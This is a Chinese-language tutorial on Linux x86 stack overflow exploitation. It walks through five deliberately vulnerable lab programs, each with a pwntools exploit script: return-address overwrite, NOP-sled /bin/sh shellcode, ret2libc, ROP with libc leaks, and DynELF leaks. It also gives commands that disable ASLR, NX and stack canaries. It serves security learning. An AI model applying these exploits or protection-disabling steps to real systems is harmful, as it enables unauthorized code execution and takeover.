程序的栈是从高地址向低地址增长的。
程序的堆是从低地址向高地址增长的。
程序的栈
EIP寄存器不能显式地通过指令修改值,可以通过jmp、call、ret隐式地修改。
x86架构用字母“e(extended)”作名称前缀,指示寄存器大小为32位;x86_64架构用字母“r”作名称前缀,指示各寄存器大小为64位
FP(栈帧指针寄存器)–>EBP寄存器,记录栈帧基地址,可以通过它来引用到局部变量和函数参数。
函数调用时入栈顺序为
实参N~1→主调函数返回地址→主调函数帧基指针EBP→被调函数局部变量1~N
x86
函数参数在函数返回地址的上方,如上图
x64
x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。
内存地址不能大于0x00007FFFFFFFFFFF,6个字节长度,否则会抛出异常。
栈溢出原理
程序向栈上的某个变量写入数据,而没有控制好写入的长度,导致可以超过该变量申请的长度而覆盖别的内存。
可导致程序崩溃甚至控制程序执行流程。
简单例子1
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
pattern_create
pattern_offset
算出偏移,然后,将地址覆盖为success的地址即可
from pwn import *
# context.log_level = "debug"
success_addr = 0x08048456
p = process("./stackoverflow1")
# print p32(success_addr)
payload = "A"*24 + p32(success_addr)
p.sendline(payload)
p.interactive()
简单例子2
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function(){
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char ** argv){
vulnerable_function();
write(STDOUT_FILENO, "Hello world\n", 13);
}
gcc -m32 -z execstack -no-pie -fno-stack-protector -g -o stackoverflow2 stackoverflow2.c
这道题目还是很有意思的,学习蒸米大佬的一步一步学 ROP 之 Linux_x86 篇
发现了点小问题,就是文中提到直接运行程序和用gdb调试程序时,buf地址是不相同的。
然后,我(问队里大佬)发现用pwntools的process启动的程序也是和直接运行程序的buf地址是不同的。
文中提到的方法是下面这个栈布局方式
[shellcode][“AAAAAAAAAAAAAA”….][ret]
但貌似shellcode的首地址还是比较难搞到的。
由于限制了输入最多只有256个byte,然后自然而然构造如下方式
["\x90\x90\x90..."][shellcode][ret]
\x90汇编代码是nop,则会有比较大的空间容易命中nop。(虽然前面提到buf地址不同,但相差不是太大)。
exp如下
from pwn import *
import pwnlib
context.log_level = "debug"
context.arch = "i386"
p = process("./stackoverflow2")
# p = remote("127.0.0.1",10001)
# pwnlib.gdb.attach(p)
ret_addr = 0xffffd260 + 0x30
# shellcode = asm(shellcraft.sh())
# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f ;; hs//
# push 0x6e69622f ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
payload = "\x90" * (140 - len(shellcode)) + shellcode + p32(ret_addr)
p.sendline(payload)
p.interactive()
然后发现不行,问题在于esp地址。
我们知道,在ret的时候,esp指着的地址是ret_addr,然后执行nop、nop、nop一直执行到到压栈(压/bin/sh)的时候,就会把跟他相邻的shellcode给覆盖掉,所以不能一直执行下去。(shellcode不同,压栈的数据量可能不同,可以尽可能预留多一些)
然后,稍微改进下,
from pwn import *
import pwnlib
context.log_level = "debug"
context.arch = "i386"
p = process("./stackoverflow2")
# p = remote("127.0.0.1",10001)
# pwnlib.gdb.attach(p)
ret_addr = 0xffffd260 + 0x30
# shellcode = asm(shellcraft.sh())
# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f ;; hs//
# push 0x6e69622f ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80
# context.terminal = ['tmux', 'splitw', '-v']
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
# shellcode = "\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05"
payload = "\x90" * (132 - len(shellcode)) + shellcode + "\x90"*8 + p32(ret_addr)
# payload = "\x90" * (100 - len(shellcode)) + shellcode + "\x90"*40 + p32(ret_addr)
#gdb.attach(p)
p.sendline(payload)
# print p.recv()
p.interactive()
简单例子3
Ret2libc – Bypass DEP 通过 ret2libc 绕过 DEP 防护
gcc -m32 -no-pie -fno-stack-protector -g -o stackoverflow3 stackoverflow2.c
这里开启了NX,那栈上不能执行代码了。cat /proc/[pid]/maps可以查看得知stack上不能执行。
没开ASLR,所以,libc中地址是固定的。gdb 调试,p system找到system地址,find “/bin/sh”地址。
from pwn import *
import pwnlib
# context.log_level = "debug"
context.arch = "i386"
p = process("./stackoverflow3")
# p = remote("127.0.0.1",10001)
# pwnlib.gdb.attach(p)
ret_addr = 0xffffd260 #not important
system_addr = 0xf7e0ec60 #0xf7578c60
binsh_addr = 0xf7f4d808 #0xf76b7808
# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f ;; hs//
# push 0x6e69622f ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
payload = "A"* 140 + p32(system_addr)+ p32(ret_addr) + p32(binsh_addr)
# context.terminal = ['tmux', 'splitw', '-v']
# gdb.attach(p)
p.sendline(payload)
p.interactive()
这里我们可以分析一下,正常的运行system(“/bin/sh”)的流程是,先push “/bin/sh”,然后,push调用函数的返回地址,然后调用system。
嗯,所以,我们只需要模仿栈上的布局即可,所以有了
p32(system_addr)+ p32(ret_addr) + p32(binsh_addr)
简单例子4
ROP - Bypass DEP and ASLR 通过 ROP 绕过 DEP 和 ASLR 防护
gcc -m32 -no-pie -fno-stack-protector -o stackoverflow4 stackoverflow2.c
开启了ASLR和NX(DEP)。所以思路是要先泄露处libc中某些函数的地址,根据这些地址计算偏移,就可以定位到system地址和"/bin/sh"地址。
from pwn import *
import pwnlib
context.log_level = "debug"
context.arch = "i386"
context.terminal = ['tmux','splitw','-h']
p = process("./stackoverflow4")
libc = ELF("libc.so")
elf = ELF("./stackoverflow4")
plt_write = elf.symbols['write']
got_write = elf.got['write']
vulfun_addr = 0x8048526
print "plt_write = " + hex(plt_write)
payload1 = 'A' * 140 + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(got_write) + p32(4)
p.recv(100)
# gdb.attach(p)
p.send(payload1)
write_addr = u32(p.recv(4))
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
payload2 = 'A' * 140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
p.send(payload2)
p.interactive()
简单例子 5
Memory Leak & DynELF – 在不获取目标libc.so的情况下进行ROP攻击
例子4中提到的方法,需要获取目标机器上面的libc.so,通过泄露函数地址来算偏移,进而确定system函数的地址,来绕过DEP和ASLR。
在不知道libc.so的情况下,我们可以通过Memory Leak来搜索内存,找到system()的地址。(当然,我们可以尝试泄露两个函数的地址,然后去libc database 里面查版本号)
gcc -m32 -no-pie -fno-stack-protector -o stackoverflow5 stackoverflow2.c
同样的编译方式,但是我们这次不使用libc.so
同样的题目,我们可以模仿前面构造的获取write函数地址,构造Memort Leak
payload = 'A' * 140 + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(addr) + p32(4)
DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址
所以,我们需要讲/bin/sh
字符串读入内存中。
写到.bss段中,.bss段是保存全局变量的值的,地址固定,可读可写。
通过readelf可以获得.bss段的地址
readelf -S ./stackoverflow5
需要注意的是,通过read读入”/bin/sh” 后,我们需要执行system函数,而,read是需要有三个参数的,即
payload = ‘A’*140 + p32(plt_read) + p32(vulfun_addr) + p32(0) + p32(bss_addr) + p32(8)
可以看到,调用完read后,如果要调用后面的函数,则需要pop pop pop ret来弹出那三个参数
可以用objdump找
objdump -d ./stackoverflow5 | grep -A 4 pop
容易找到地址0x8048609
from pwn import *
# context.log_level = "debug"
context.arch = "i386"
context.terminal = ['tmux','splitw','-h']
p = process("./stackoverflow5")
elf = ELF("./stackoverflow5")
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x080484e6
pppr_addr = 0x8048609
bss_addr = 0x0804a024
def leak(addr):
payload = 'A' * 140 + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(addr) + p32(4)
p.send(payload)
data = p.recv(4)
print "%#x => %s"%(addr, (data or '').encode('hex'))
return data
print "leak system addr"
d = DynELF(leak,elf=ELF("./stackoverflow5"))
system_addr = d.lookup('system','libc')
print "system_addr = " + hex(system_addr)
payload = "A" * 140 + p32(plt_read) + p32(pppr_addr) + p32(0) + p32(bss_addr) + p32(8)
payload += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
# gdb.attach(p)
p.send(payload)
p.send("/bin/sh")
p.interactive()
linux 关闭地址随机化
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
原始值为2
gcc
-z execstack 关闭dep/nx
-fno-stack-protector 不开启堆栈溢出保护,即不生成canary
-no-pie 关闭PIE(Position Independent Executable),避免加载基址被打乱
参考资料
https://ctf-wiki.github.io/ctf-wiki/pwn/stackoverflow/stack_intro/
https://segmentfault.com/a/1190000005888964
http://www.cnblogs.com/clover-toeic/p/3755401.html
http://www.cnblogs.com/clover-toeic/p/3756668.html
https://jaq.alibaba.com/community/art/show?articleid=473
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com